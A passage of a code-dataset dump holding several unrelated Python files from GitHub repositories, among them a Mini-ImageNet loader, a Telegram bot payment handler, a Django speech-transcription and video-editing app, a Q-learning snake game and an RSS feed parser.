img_paths.append(img_path)\n\n # save dataset info\n self.dataset_info['labels'] = labels\n self.dataset_info['img_paths'] = img_paths\n\n return img_paths, labels\n\n\n #######################################\n # Load dataset category info\n #######################################\n def load_data_info(self, path):\n id2label = {} # id to label, e.g., n02119789\n label2id = {} \n\n category_list = pd.read_csv(path).values\n\n for item in category_list:\n id = int(item[0])\n label = str(item[1])\n id2label[id] = label\n label2id[label] = id\n\n # save dataset info\n self.dataset_info['id2label'] = id2label\n self.dataset_info['label2id'] = label2id\n assert len(id2label) == self.num_classes\n assert len(label2id) == self.num_classes\n \n return id2label, label2id\n \n\n #######################################\n # Save dataset info\n #######################################\n def save_dataset_info(self, output_path):\n\n with open(os.path.join(output_path, 'dataset_info_{}.json'.format(self.phase)), 'w') as f:\n json.dump(self.dataset_info, f)\n\n del self.dataset_info\n\n\n #######################################\n # transform\n #######################################\n def get_data_transform(self, phase):\n transform_info = {}\n\n if phase == 'train':\n if self.rand_aug:\n trans = transforms.Compose([\n transforms.Resize(64),\n transforms.RandomCrop(64, padding=8, padding_mode='reflect'),\n RandAugment(),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n ])\n transform_info['operations'] = ['Resize(64)', 'RandomCrop(64)', 'RandAugment()', 'RandomHorizontalFlip()', 'ToTensor()',]\n else:\n trans = transforms.Compose([\n transforms.Resize(64),\n transforms.RandomCrop(64, padding=8, padding_mode='reflect'),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n ])\n transform_info['operations'] = ['Resize(64)', 'RandomCrop(64)', 'RandomHorizontalFlip()', 'ToTensor()',]\n else:\n trans = transforms.Compose([\n transforms.Resize(72),\n transforms.CenterCrop(64),\n transforms.ToTensor(),\n ])\n transform_info['operations'] = ['Resize(72)', 'CenterCrop(64)', 'ToTensor()',]\n \n # save dataset info\n self.dataset_info['transform_info'] = transform_info\n\n return trans","repo_name":"KaihuaTang/CiiV-Adversarial-Robustness.pytorch","sub_path":"data/dt_mini_imagenet.py","file_name":"dt_mini_imagenet.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"31"} +{"seq_id":"74240030487","text":"class Solution:\n def maximumRequests(self, n: int, requests: List[List[int]]) -> int:\n def backtrack(idx, count):\n nonlocal max_count\n\n if idx == len(requests):\n # Check if the net change is zero for all buildings\n if all(balance == 0 for balance in balances):\n max_count = max(max_count, count)\n return\n\n from_building, to_building = requests[idx]\n\n # Simulate the request by decrementing the balance of the 'from_building'\n # and incrementing the balance of the 'to_building'\n balances[from_building] -= 1\n balances[to_building] += 1\n backtrack(idx + 1, count + 1)\n\n # Undo the request by decrementing the balance of the 'to_building'\n # and incrementing the balance of the 'from_building'\n balances[from_building] += 1\n balances[to_building] -= 1\n backtrack(idx + 1, count)\n\n max_count = 0\n balances = [0] * n\n\n backtrack(0, 0)\n\n return max_count\n","repo_name":"GunalanD95/LeetCode","sub_path":"1601-maximum-number-of-achievable-transfer-requests/1601-maximum-number-of-achievable-transfer-requests.py","file_name":"1601-maximum-number-of-achievable-transfer-requests.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"168577595","text":"import asyncio\nimport threading\nimport janus\n\nfrom asyncio import QueueEmpty as AsyncQueueEmpty\n\nfrom .singleton import Singleton\n\n# _____ _\n# | ___| | |\n# | |____ _____ _ __ | |_ ___\n# | __\\ \\ / / _ \\ '_ \\| __/ __|\n# | |___\\ V / __/ | | | |_\\__ \\\n# \\____/ \\_/ \\___|_| |_|\\__|___/\n#\n\n@Singleton\nclass Events():\n def __init__(self):\n \"\"\" Event class constructor\n \"\"\"\n self._loop = asyncio.new_event_loop()\n self._queue = janus.Queue(loop=self._loop)\n self._callback = {}\n self._callback_lock = threading.RLock()\n\n def start(self):\n while True:\n event_tuple = self._queue.sync_q.get()\n with self._callback_lock:\n event = event_tuple[0]\n if event in self._callback:\n for func in self._callback[event]:\n func(event_tuple[1])\n\n def register_callback(self, event, callback):\n with self._callback_lock:\n if event in self._callback:\n self._callback[event].append(callback)\n else:\n self._callback[event] = [callback]\n\n def notify(self, event, data):\n self._queue.sync_q.put((event, data))\n\n","repo_name":"peteremiljensen/freechain-python","sub_path":"events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74137161048","text":"# Aiogram\nfrom loader import dp, bot\nfrom aiogram import types\nfrom aiogram.types import LabeledPrice, ContentType\nfrom aiogram.dispatcher import FSMContext\n\n# Database\nfrom database.memberships_db import info_membersips\nfrom database.msg_id_history_db import add_message_from_bot\n\n# Other\nfrom keybords.menu_buttons import r_back_to_menu\nfrom other.func_other import dell_message\nfrom config import PAYMENT_TOKEN\n\n\n@dp.callback_query_handler(lambda c: c.data.startswith('abon'))\nasync def action_member_inline(c: types.CallbackQuery, state: FSMContext):\n\n id_membersip = int(c.data.split('-')[1])\n memberships_info = await info_membersips(id_membersip)\n\n await c.answer('Чудовий вибір👍🏻')\n\n if memberships_info[1] == 'Програма F3':\n msg = await bot.send_message(c.from_user.id,\n f'💳Абонемент: {memberships_info[1]}\\n\\n'\n f'🏋🏻Перелік послуг:\\n'\n f'- {memberships_info[4]} тренування з тренером\\n'\n f'- рекомендації по раціону харчування від дієтолога\\n'\n f'- контроль харчування дієтологом\\n'\n f'- заміри параметрів тіла раз на тиждень\\n'\n f'- фото \"до/після\" раз на тиждень\\n\\n'\n f'⏳Термін дії - {memberships_info[3]} місяць\\n\\n'\n f'▪️Ціна: {memberships_info[2]} грн',\n reply_markup=r_back_to_menu,\n parse_mode='HTML'\n )\n await dell_message(c.from_user.id)\n await add_message_from_bot(msg)\n else:\n msg = await bot.send_message(c.from_user.id,\n f'💳Абонемент: {memberships_info[1]}\\n\\n'\n f'🏋🏻Перелік послуг:\\n'\n f'- {memberships_info[4]} тренування з тренером\\n\\n'\n f'⏳Термін дії - {memberships_info[3]} місяць\\n\\n'\n f'▪️Ціна: {memberships_info[2]} грн',\n reply_markup=r_back_to_menu,\n parse_mode='HTML'\n )\n await dell_message(c.from_user.id)\n await add_message_from_bot(msg)\n\n msg = await bot.send_invoice(\n chat_id=c.from_user.id,\n title=f'Абонемент: {memberships_info[1]}',\n description='Ви за крок до спортивного та здорового тіла😎',\n payload='membership',\n provider_token=PAYMENT_TOKEN,\n currency='UAH',\n prices=[\n LabeledPrice(\n label=f'Абонемент: {memberships_info[1]}',\n amount=memberships_info[2] * 100\n ),\n ],\n )\n await add_message_from_bot(msg)\n\n\n await state.update_data(id_membersip=id_membersip)\n\n\n","repo_name":"KaliuzhnyiArtem/F3_bot","sub_path":"handlers/cliets/memberships.py","file_name":"memberships.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"uk","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29934312601","text":"from svmutil import *\n\ntrainFile = '/home/manikaran/M.tech/MachineLearning/Assignment2/mnist/trainLibSVMScaled.txt'\ntestFile = '/home/manikaran/M.tech/MachineLearning/Assignment2/mnist/testLibSVMScaled.txt'\n\ny,x = svm_read_problem(trainFile)\n\n''' struct svm_problem describes the problem:\n\n struct svm_problem\n {\n int l;\n double *y;\n struct svm_node **x;\n };\n \n where `l' is the number of training data, and `y' is an array containing\n their target values. (integers in classification, real numbers in\n regression) `x' is an array of pointers, each of which points to a sparse\n representation (array of svm_node) of one training vector.'''\n\nproblem = svm_problem(y,x)\n\n''' struct svm_parameter describes the parameters of an SVM model \noptions:\n-s svm_type : set type of SVM (default 0)\n 0 -- C-SVC\n 1 -- nu-SVC''\n 2 -- one-class SVM\n 3 -- epsilon-SVR\n 4 -- nu-SVR\n-t kernel_type : set type of kernel function (default 2)\n 0 -- linear: u'*v\n 1 -- polynomial: (gamma*u'*v + coef0)^degree\n 2 -- radial basis function: exp(-gamma*|u-v|^2)\n 3 -- sigmoid: tanh(gamma*u'*v + coef0)\n-d degree : set degree in kernel function (default 3)\n-g gamma : set gamma in kernel function (default 1/num_features)\n-r coef0 : set coef0 in kernel function (default 0)\n-c cost : set the parameter C of C-SVC, epsilon-SVR, and nu-SVR (default 1)\n-n nu : set the parameter nu of nu-SVC, one-class SVM, and nu-SVR (default 0.5)\n-p epsilon : set the epsilon in loss function of epsilon-SVR (default 0.1)\n-m cachesize : set cache memory size in MB (default 100)\n-e epsilon : set tolerance of termination criterion (default 0.001)\n-h shrinking: whether to use the shrinking heuristics, 0 or 1 (default 1)\n-b probability_estimates: whether to train a SVC or SVR model for probability estimates, 0 or 1 (default 0)\n-wi weight: set the parameter C of class i to weight*C, for C-SVC (default 1)\n'''\nparam = svm_parameter('-t 0 -c 1 -g 0.05')\n\n'''Function: struct svm_model *svm_train(const struct svm_problem *prob,\n const struct svm_parameter *param);\n \n This function constructs and returns an SVM model according to\n the given training data and parameters.\n \n struct svm_model stores the model obtained from the training procedure.\n'''\n\nmodel = svm_train(problem,param)\n\n''' Function: double svm_predict(const struct svm_model *model,\n const struct svm_node *x);\n\n This function does classification or regression on a test vector x\n given a model. '''\nsvm_save_model('linearModel', model)\nyTest,xTest = svm_read_problem(testFile)\npredicted = svm_predict(yTest, xTest, model)\n\nyScaled,xScaled = svm_read_problem(trainFile)\nproblemScaled = svm_problem(yScaled,xScaled)\nparamScaled = svm_parameter('-t 2 -c 1 -g 0.05')\nmodelGaussianScaled = svm_train(problemScaled, paramScaled)\nyTestScaled,xTestScaled = svm_read_problem(testFile)\npredictedScaled = svm_predict(yTestScaled, xTestScaled, modelGaussianScaled)","repo_name":"Manikaran1996/NaiveBayesAndSVM","sub_path":"a2q2c.py","file_name":"a2q2c.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12581571916","text":"\nfrom django.shortcuts import render\nfrom rest_framework.response import Response\nfrom .models import Video, Video_word\nfrom rest_framework.views import APIView\nfrom .serializers import VideoWordSerializer, VideoSerializer\n\n\nimport os \ncredential_path = \"C:/Users/82104/OneDrive/창업동아리/speech-to-text-333411-f6c9847c1934.json\"\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = credential_path\n\nimport subprocess\nimport shlex\nimport datetime\n\n#영상 목록 보여주기\n\nclass fileUpload(APIView):\n \n def upload_blob(bucket_name, source_file_name, destination_blob_name):\n \"\"\"Uploads a file to the bucket.\"\"\"\n \n \n storage_client = storage.Client()\n bucket = storage_client.get_bucket(bucket_name)\n blob = bucket.blob(destination_blob_name)\n\n blob.upload_from_filename(source_file_name)\n\n print(\n \"File {} uploaded to {}.\".format(\n source_file_name, destination_blob_name\n )\n )\n\n# 영상 업로드\n def put(self, request, pk, format=None):\n\n bucket_name = \"sttbucket-fever\"\n # The path to your file to uplo\n source_file_name = \"C:/10.wav\"\n #os.path.abspath(source_file_name)\n # The ID of your GCS object\n destination_blob_name = \"test\"\n upload_blob(bucket_name, source_file_name, destination_blob_name)\n \n\n def get(self, request):\n queryset = Product.objects.all()\n print(queryset)\n serializer = ProductSerializer(queryset, many=True)\n return Response(serializer.data)\n\ndef transcribe_gcs(gcs_uri):\n from google.cloud import speech\n\n client = speech.SpeechClient()\n audio = speech.RecognitionAudio(uri=gcs_uri)\n config = speech.RecognitionConfig(\n encoding=speech.RecognitionConfig.AudioEncoding.LINEAR16,\n #sample_rate_hertz=16000,\n audio_channel_count=2,\n enable_word_time_offsets=True,\n language_code='ko-KR')\n operation = client.long_running_recognize(config=config,audio=audio)\n response = operation.result(timeout=3000)\n #return response\n #response = transcribe_gcs(\"gs://sttbucket-fever/10.wav\")\n\n import json\n from collections import OrderedDict\n file_data = OrderedDict()\n\n for result in response.results:\n alternative = result.alternatives[0]\n print(\"Transcript: {}\".format(alternative.transcript))\n print(\"Confidence: {}\".format(alternative.confidence))\n\n for word_info in alternative.words:\n word = word_info.word\n start_time = word_info.start_time.total_seconds()\n end_time = word_info.end_time.total_seconds()\n file_data['video_id'] = 1\n file_data['word'] = word\n file_data['start_time'] = start_time\n file_data['end_time'] = end_time\n file_data['date'] = \"2021-11-29\"\n\n serializer = VideoWordSerializer(data=file_data)\n\n if serializer.is_valid(): #유효성 검사\n serializer.save() # 저장\n\n \n#영상 편집하기\nclass VideoEdit(APIView):\n # 참가 인원 추가하기\n def post(self, request):\n # request.data는 사용자의 입력 데이터\n serializer = VideoWordSerializer(data=request.data)\n if serializer.is_valid(): #유효성 검사\n serializer.save() # 저장\n return Response({\"MESSAGE\" : \"Success!\"}, status=status.HTTP_201_CREATED)\n #return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n return Response({\"MESSAGE\" : \"ERORR\"}, status=status.HTTP_400_BAD_REQUEST)\n\n\n \n #영상 스크립트 생성\n def get(self, request):\n \n #transcribe_gcs(\"gs://sttbucket-fever/10.wav\")\n queryset = Video_word.objects.all()\n serializer = VideoWordSerializer(queryset, many=True)\n return Response(serializer.data)\n \n\n \n#특정 단어 없애기\nclass ScriptDelete(APIView):\n def delete(self, request, format=None):\n\n cid = Video_word.objects.filter(video_id = request.data[\"video_id\"]).filter(wid = request.data[\"wid\"])\n #print(cid,\"에러에러에러에러에러에러에러\")\n cid.delete()\n return Response({\"MESSAGE\" : \"Success!\"}) \n\n#영상 합치기\nclass VideoPlus(APIView):\n\n def get(self, request):\n #transcribe_gcs(\"gs://sttbucket-fever/10.wav\")\n\n queryset = Video_word.objects.filter(video_id = request.data[\"video_id\"]).values('start_time','end_time','wid')\n #serializer = VideoWordSerializer(queryset, many=True)\n #print(queryset)\n\n\n delete = {}\n i = 0\n \n for idx, val in enumerate(queryset): \n #print(idx,val)\n \n\n #wid가 +1이 아니면..\n try:\n next = queryset[idx+1]\n except:\n break\n\n try:\n front = queryset[idx-1]\n except:\n break\n\n #삭제된 구간찾기\n if(val['wid']+1 != next['wid']):\n \n delete['idx'] = i\n delete['start'] = val['end_time']\n delete['end'] = next['start_time']\n i=i+1\n\n \n start = \"0\"\n hall = []\n if(val['wid']+1 != next['wid']):\n \n\n time = {}\n time['start'] = 0\n time['end'] = val[\"end_time\"]\n\n\n hall +=time\n\n time['start']\n\n \n print(delete,\"에러에러에러에러에러에러에러에러\")\n\n start = '0'\n \n for idx, val in enumerate(delete):\n \n try:\n next = delete[idx+1]\n except:\n break\n \n end = val['start']\n vname = idx+'.mp4'\n \n\n #동영상 자르기\n command=\"ffmpeg -i input.mp4 -ss \"+start+\"-to \"+end+ \"-c copy \"+ vname\n \n\n #동영상 합치기\n command2 = \"ffmpeg -f concat -i 'list.txt' -c copy output.mp4\"\n\n process = subprocess.Popen(shlex.split(command), stdout = subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)\n \n for line in process.stdout:\n now = datetime.datetime.now()\n print(now, line)\n\n\n return Response({\"MESSAGE\" : \"Success!\"}) \n\n #return Response(serializer.data)","repo_name":"fever-fever-fever/STT-Back","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16706667919","text":"from Snake import Snake\nfrom Board import Board\nfrom SnakeBody import SnakeBody\nfrom Food import Food\nfrom collections import defaultdict\nimport pygame\nimport time\nimport numpy as np\nimport random\n\n\nglobal clock\nglobal window_width\nglobal window_height\nglobal display_width\nglobal display_height\nglobal game\nglobal sleep\n\nglobal score\nglobal game_display\nglobal snake\nglobal food\n\nglobal font\nglobal text\n\nglobal x_change\nglobal y_change\nglobal first_time\nglobal eat\nglobal mov\nglobal maxScore \nglobal gen\n\ndef setTimeSleepUp():\n sleep+=0.01\n \ndef setTimeSleepDown():\n sleep-=0.01 \n\ndef sscore(_score,maxsc):\n text1 = font.render(\"Score: \" + str(_score), False, Board.teal)\n game_display.GAME_display.blit(text1, (game_display.width - 150, 100))\n \n text2 = font.render(\"Max score: \" + str(maxsc), False, Board.red)\n game_display.GAME_display.blit(text2, (game_display.width - 150, 130))\n \n text3 = font.render(\"Game number: \" + str(gen), False, Board.blue_black)\n game_display.GAME_display.blit(text3, (game_display.width - 150, 70))\n \n text4 = font.render(\"Speed: \" + str(sleep), False, Board.red)\n game_display.GAME_display.blit(text4, (game_display.width - 150, 160))\n\n\ndef update_data_set(data_set, mov, snake, food):\n # initDataSet('DataSets.csv')\n new_row = np.array([0] * 66) # initiate a new row of 0\n new_row[((int(food.food_y / 10) - 1) * 8) + ((int(food.food_x / 10) - 1))] = 1 # computes the index of the food and puts 1.\n for i in range(0, (len(snake) - 1)):\n if i == 0:\n new_row[((int(snake[i].y / 10) - 1) * 8) + ((int(snake[i].x / 10) - 1))] = 3 # computes the index of the head and puts 3.\n else:\n new_row[((int(snake[i].y / 10) - 1) * 8) + ((int(snake[i].x / 10) - 1))] = 2 # computes the index of the food and puts 2.\n\n new_row[65] = mov # The action we took.\n\n data_set = np.vstack([data_set, new_row]) # Stacks the row into the CSV file.\n return data_set\n\ndef what_is_cur_state(snake, food):\n head_pos = [(int(snake[0].y / 10) - 1),(int(snake[0].x / 10) - 1)]\n tail_pos = [(int(snake[len(snake)-1].y / 10) - 1),(int(snake[len(snake)-1].x / 10) - 1)]\n food_pos = [(int(food.food_y / 10) - 1), (int(food.food_x / 10) - 1)]\n tail_rel = ((head_pos[1]-tail_pos[1]),(head_pos[0]-tail_pos[0]))\n food_rel = ((head_pos[1]-food_pos[1]),(head_pos[0]-food_pos[0]))\n \n return (tail_rel,food_rel,len(snake))\n\ndef reset():\n global clock\n global window_width\n global window_height\n global display_width\n global display_height\n global game\n global score\n global game_display\n global snake\n global food\n #global _score\n global font\n global text\n global gen\n global x_change\n global y_change\n global first_time\n global eat\n global mov\n global maxScore \n global sleep\n\n score = 60\n game_display = Board(window_width, window_height)\n snake = Snake(20, 20, 3)\n food = Food(10, display_width, display_height, 10, snake)\n \n font = pygame.font.SysFont('Time New Roman, Arial', 20)\n #text = font.render('Score: %d' % tuple([game_display.game_score]), False, Board.gold)\n\n x_change = 0\n y_change = 0\n first_time = True\n eat = True\n mov = 0\n \n return what_is_cur_state(snake,food)\n \ndef step(action):\n global clock\n global window_width\n global window_height\n global display_width\n global display_height\n global game\n global score\n global game_display\n global snake\n global food\n \n global font\n global text\n global gen\n global x_change\n global y_change\n global first_time\n global eat\n global mov\n global maxScore \n \n reward = -0.25\n for event in pygame.event.get():\n if event.type == pygame.QUIT: # if clicked on the window's X.\n pygame.quit()\n game = False\n# if event.type == pygame.KEYDOWN:\n# if event.key == pygame.K_UP: # if it was the up arrow\n# setTimeSleepUp()\n# elif event.key == pygame.K_DOWN: # if it was the down arrow\n# setTimeSleepDown()\n \n #first_time = False\n if action==4: # if it was the left arrow\n if x_change != 10:\n x_change = -10\n y_change = 0\n mov = 4\n elif action==6: # if it was the right arrow\n if x_change != -10:\n x_change = 10\n y_change = 0\n mov = 6\n elif action==8: # if it was the up arrow\n if y_change != 10:\n x_change = 0\n y_change = -10\n mov = 8\n elif action==2: # if it was the down arrow\n if y_change != -10:\n x_change = 0\n y_change = 10\n mov = 2\n #if not first_time: # if it's while we haven't clicked anything when the window pops.\n #data_sets = update_data_set(data_sets, mov, snake, food)\n snake.update(score)\n if score % 10 == 0 and eat: # still need to figure out.--------------\n snake.append(SnakeBody(snake[len(snake) - 1].x, snake[len(snake) - 1].y))\n print(len(snake))\n eat = False\n snake.move_head(x_change, y_change) # changes the head's x,y. making it \"move\"\n state = what_is_cur_state(snake,food)\n\n if (snake[0].x < food.food_x + 10 and snake[0].x >= food.food_x\n and snake[0].y < food.food_y + 10 and snake[0].y >= food.food_y):\n score += 10\n game_display.game_score += 1\n food = Food(10, display_width, display_height, 10, snake)\n eat = True\n reward = 1\n\n if snake.check_death(display_width, display_height):\n #if game_display.pop_exit_window():#):\n reward = -1\n state = what_is_cur_state(snake,food)\n done = (len(snake)==64)\n state = what_is_cur_state(snake,food)\n print (\"death\")\n return state, reward, done\n\n game_display.clean()\n game_display.borders(display_height, display_width)\n pygame.draw.rect(game_display.GAME_display, Board.red,\n (food.food_x, food.food_y, Snake.factor, Snake.factor))\n snake.draw(game_display.GAME_display)\n #game_display.GAME_display.blit(text, (game_display.width - 50, 50))############################\n #max_score(len(snake)-4)\n if maxScore < len(snake)-4:\n maxScore = game_display.game_score\n \n sscore(len(snake)-4, maxScore)\n pygame.display.flip()\n time.sleep(0.120)\n clock.tick(60)\n \n done = (len(snake)==64)\n return state, reward, done\n\n\n\n\ndef main():\n \n global clock\n global window_width\n global window_height\n global display_width\n global display_height\n global game\n global maxScore \n global gen\n global sleep\n clock = pygame.time.Clock()\n window_width = 300\n window_height = 300\n display_width = 80\n display_height = 80\n sleep = 0.005\n game = True\n \n action_space = [2,4,6,8]\n Q = defaultdict(dict)\n alpha = 0.618\n \n for episode in range(1,500000):\n done = False\n G, rwrd = 0,0\n maxScore=0\n gen = 1\n \n state = reset()\n while not done:\n if state in Q:\n action = (np.argmax(Q[state])+1)*2\n else:\n Q[state] = np.zeros([4])\n action = (np.argmax(Q[state])+1)*2\n nxt_state, rwrd, done = step(action)\n if state in Q:\n if action in Q[state]:\n if nxt_state in Q:\n Q[state][int(action/2)-1] += alpha * (rwrd + np.max(Q[nxt_state]) - Q[state][action])\n else:\n Q[state][int(action/2)-1] += ((alpha * rwrd) - Q[state][action])\n else:\n if nxt_state in Q:\n Q[state][int(action/2)-1] = alpha * (rwrd + np.max(Q[nxt_state]))\n else:\n Q[state][int(action/2)-1] = (alpha * rwrd)\n else:\n Q[state] = np.zeros([4])\n if nxt_state in Q:\n Q[state][int(action/2)-1] = alpha * (rwrd + np.max(Q[nxt_state]))\n else:\n Q[state][int(action/2)-1] = (alpha * rwrd)\n G += rwrd\n state = nxt_state\n if rwrd == -1:\n gen+=1\n state = reset()\n\n #data_sets = np.arange(66)\n\n #while True: # while the program runs.\n \n \n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nunii/AI-Snake","sub_path":"AI-Snake/RL.py","file_name":"RL.py","file_ext":"py","file_size_in_byte":8503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11454776651","text":"\"\"\"\nCore XML Parsing of RSS documents. This is generally focused on RSS 2.0\n\"\"\"\nimport requests\nfrom xml.etree import ElementTree\nfrom pprint import pprint\nimport csv\nfrom pathlib import Path\nfrom urllib.parse import urlparse\nimport datetime\nfrom typing import NamedTuple, List\n\nclass SourceRSS(NamedTuple):\n \"\"\"Extract of raw RSS data\"\"\"\n title: str #: The title\n link: str #: The link\n description: str #: The description\n pubDate: str #: The publication date\n\n\nclass ExpandedRSS(NamedTuple):\n \"\"\"\n Data expanded by the :func:`title_transform()` function.\n\n Note that the names of the fields in this class will be the column\n titles on saved CSV files. Any change here will be reflected in the files\n created.\n \"\"\"\n title: str #: The title\n link: str #: The link\n description: str #: The description\n pubDate: str #: The publication date\n docket: str #: The parsed docket from the title\n parties_title: str #: The parsed parties from the title\n\n\ndef xml_reader(url: str) -> List[SourceRSS]:\n \"\"\"\n Extract RSS data given a URL to read.\n\n The root document is the ```` tag which has a single ```` tag.\n The ```` has some overall attributes, but contains a sequence\n of ```` tags.\n\n This will gather \"title\", \"link\", \"description\", and \"pubDate\" from each item\n and build a :class:`SourceRSS` object.\n\n It might be helpful to return the overall channel properties along with\n the list of items.\n\n :param url: URL to read.\n :return: All of the SourceRSS from the channel of the feed, List[SourceRSS].\n \"\"\"\n items = []\n response = requests.get(url)\n rss = ElementTree.fromstring(response.content)\n channel = rss.find('channel')\n\n # Dump the overall channel properties\n print(\"title\", channel.findtext('title'))\n print(\"link\", channel.findtext('link'))\n print(\"description\", channel.findtext('description'))\n print(\"last build date\", channel.findtext('lastBuildDate'))\n\n for item in channel.iter('item'):\n item_row = SourceRSS(\n title=item.findtext('title'),\n link=item.findtext('link'),\n description=item.findtext('description'),\n pubDate=item.findtext('pubDate'),\n )\n items.append(item_row)\n return items\n\ndef title_transform(items: List[SourceRSS]) -> List[ExpandedRSS]:\n \"\"\"\n A \"transformation\": this will parse titles for court docket RSS feeds.\n\n >>> from rss_status import title_transform, SourceRSS, ExpandedRSS\n\n The data is a list witha single document [SourceRSS()]\n\n >>> data = [\n ... SourceRSS(\n ... title='1:15-cv-00791 SAVAGE v. BURWELL et al',\n ... link='https://ecf.dcd.uscourts.gov/cgi-bin/DktRpt.pl?172013',\n ... description='[Reply to opposition to motion] (137)',\n ... pubDate='Thu, 05 Jul 2018 06:26:07 GMT'\n ... ),\n ... ]\n >>> title_transform(data)\n [ExpandedRSS(title='1:15-cv-00791 SAVAGE v. BURWELL et al', link='https://ecf.dcd.uscourts.gov/cgi-bin/DktRpt.pl?172013', description='[Reply to opposition to motion] (137)', pubDate='Thu, 05 Jul 2018 06:26:07 GMT', docket='15-cv-00791', parties_title='SAVAGE v. BURWELL et al')]\n\n :param items: A list of :class:`SourceRSS` items built by :func:`xml_reader`\n :return: A new list of :class:`ExpandedRSS`, with some additional attributes for each item.\n \"\"\"\n new_items = []\n for row in items:\n docket, _, parties_title = row.title.partition(' ')\n _, _, real_docket = docket.partition(\":\")\n result = ExpandedRSS(\n title=row.title,\n link=row.link,\n description=row.description,\n pubDate=row.pubDate,\n docket=real_docket,\n parties_title=parties_title,\n )\n new_items.append(result)\n return new_items\n\ndef csv_dump(data: List[ExpandedRSS], output_path: Path) -> None:\n \"\"\"\n Save expanded data to a file, given the Path.\n\n Note that the headers are the field names from the ExpandedRSS class definition.\n This assures us that all fields will be written properly.\n\n :param data: List of :class:`ExpandedRSS` items, built by :func:`title_transform`.\n :param output_path: Path to which to write the file.\n \"\"\"\n with output_path.open('w', newline='') as output_file :\n headings = list(ExpandedRSS._fields)\n writer = csv.DictWriter(output_file, headings)\n writer.writeheader()\n for row in data:\n writer.writerow(row._asdict())\n\n\ndef csv_load(input_path: Path) -> List[ExpandedRSS]:\n \"\"\"\n Recover expanded data from a file, given a Path.\n\n Note that the headers **must be** the field names from the ExpandedRSS class definition.\n If their isn't a trivial match, then this won't read properly.\n\n :param input_path: Path from which to read the file.\n :returns: List of ExpandedRSS objects used to compare previous day's feed\n with today's feed.\n \"\"\"\n data = []\n with input_path.open() as input_file:\n reader = csv.DictReader(input_file)\n for row in reader:\n expanded_rss = ExpandedRSS(**row)\n data.append(expanded_rss)\n return data\n\n\ndef path_maker(url: str, now: datetime.datetime=None, format: str=\"%Y%m%d\") -> Path:\n \"\"\"\n Builds a Path from today's date and the base name of the URL.\n\n The default format is \"%Y%m%d\" to transform the date to a YYYYmmdd string.\n An alternative can be \"\"%Y%W%w\" to create a YYYYWWw string,\n where WW is the week of the year and w is the day of the week.\n\n >>> from rss_status import path_maker\n >>> import datetime\n >>> now = datetime.datetime(2018, 9, 10)\n >>> str(path_maker(\"https://ecf.dcd.uscourts.gov/cgi-bin/rss_outside.pl\", now))\n '20180910/rss_outside'\n\n :param url: An RSS-feed URL.\n :param now: Optional date/time object. Defaults to datetime.datetime.now().\n :return: A Path with the date string / base name from the URL.\n \"\"\"\n url_details = urlparse(url)\n base_name = Path(url_details.path).stem\n if not now:\n now = datetime.datetime.now()\n today_str = now.strftime(format)\n return Path(today_str) / base_name\n\n\ndef find_yesterday(directory: Path, url: str, date_pattern: str='[0-9]*') -> Path:\n \"\"\"\n We need to search for the most recent previous entry. While we can hope for\n dependably running this every day, that's a difficult thing to guarantee.\n\n It's much more reliable to look for the most recent date which\n contains files for a given channel. This means\n\n Example. Here's two dates. One date has one channel, the other has two channels.\n\n ::\n\n 20180630/one_channel/daily.csv\n 20180630/one_channel/new.csv\n 20180630/one_channel/save.csv\n 20180701/one_channel/daily.csv\n 20180701/one_channel/new.csv\n 20180701/one_channel/save.csv\n 20180701/another_channel/daily.csv\n 20180701/another_channel/new.csv\n 20180701/another_channel/save.csv\n\n If there's nothing available, returns None.\n\n :param directory: The base directory to search\n :param url: The full URL from which we can get the base name\n :param date_pattern: Most of the time, the interesting filenames will begin with a digit\n If the file name pattern is changed, however, this can be used to match dates,\n and exclude non-date files that might be confusing.\n :return: A Path with the date string / base name from the URL or None.\n \"\"\"\n url_details = urlparse(url)\n base_name = Path(url_details.path).stem\n candidates = list(directory.glob(f\"{date_pattern}/{base_name}\"))\n if candidates:\n return max(candidates)\n\n\ndef channel_processing(url: str, directory: Path=None, date: datetime.datetime=None):\n \"\"\"\n The daily process for a given channel.\n\n Ideally there's a \"yesterday\" directory. Pragmatically, this may not exist.\n We use :func:`find_yesterday` to track down the most recent file and\n work with that. If there's no recent file, this is all new. Welcome.\n\n :param url: The URL for the channel\n :param directory: The working directory, default is the current working directory.\n :param date: The date to assign to the files, by default, it's datetime.datetime.now.\n \"\"\"\n if directory is None:\n directory = Path.cwd()\n\n if date is None:\n date = datetime.datetime.now()\n\n yesterdays_path = find_yesterday(directory, url)\n todays_path = path_maker(url)\n\n todays_data = title_transform(xml_reader(url))\n if yesterdays_path:\n saved_data = csv_load(yesterdays_path / \"save.csv\")\n else:\n saved_data = []\n\n new_data = set(todays_data) - set(saved_data)\n all_data = set(todays_data) | set(saved_data)\n\n todays_path.mkdir(parents=True, exist_ok=True)\n csv_dump(todays_data, todays_path / \"daily.csv\")\n csv_dump(new_data, todays_path / \"new.csv\")\n csv_dump(all_data, todays_path / \"save.csv\")\n\n\ndef demo():\n \"\"\"\n This is downloads, enriches, and saves the daily files to the current\n working directory.\n \"\"\"\n target_path = Path.cwd()\n\n data1 = xml_reader(\"https://ecf.dcd.uscourts.gov/cgi-bin/rss_outside.pl\")\n data1_decomposed = title_transform(data1)\n # pprint(data1_decomposed)\n 